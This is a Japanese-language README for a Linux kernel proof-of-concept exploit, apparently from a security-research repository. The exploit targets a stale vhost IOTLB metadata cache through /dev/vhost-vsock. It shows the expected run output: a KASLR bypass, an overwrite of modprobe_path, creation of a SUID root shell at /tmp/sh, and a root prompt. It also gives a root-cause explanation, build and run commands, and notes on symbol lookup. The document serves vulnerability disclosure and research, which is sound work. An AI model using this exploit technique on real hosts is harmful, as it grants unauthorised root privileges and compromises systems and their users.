
元のコードと readme ファイルの出典: https://github.com/zhangutah/security-research
期待される出力:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] は、各 vring メタデータ領域(desc / avail / used)の背後にある IOTLB マッピングをキャッシュします。VHOST_SET_VRING_ADDR と VHOST_SET_VRING_NUM はこのキャッシュをリセットしません。デバイス IOTLB がアタッチされている場合、稼働中の vq は、もはやその領域をカバーしていないマッピングを通じて、再設定された vring を変換してしまう可能性があります。vhost_vq_meta_fetch() には範囲チェックがなく、その結果は __copy_to_user() / __copy_from_user() に渡されます。
同じ古いキャッシュには、vhost がデバイス IOTLB モード(VIRTIO_F_ACCESS_PLATFORM / vIOMMU)で動作し、ゲストが VIRTIO_F_RING_RESET 経由で virtqueue をリセットした場合に、ゲストからも到達可能です。この経路は本 PoC の対象ではありません。
de845981da67poc.c は /dev/vhost-vsock を対象としたホスト x86-64 向け PoC です。euid=0 で root シェルを開きます。また、/tmp/sh を suid root として作成します。手動でのテスト後は、このファイルを削除してください!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
シンボルの検索は、次の順序で行われます: $SYSTEM_MAP、/boot/System.map-$(uname -r)、/usr/lib/modules/$(uname -r)/build/System.map。modprobe_path は存在している必要があります。asm_exc_divide_error が見つからない場合は、静的なアドレスにフォールバックします。
プロセスは /dev/vhost-vsock を開ける必要があります。一部のイメージではこのノードは 0666 で提供されていますが、0660 root:kvm のものもあります。
自分が所有する使い捨てのテストシステム上でのみ実行してください。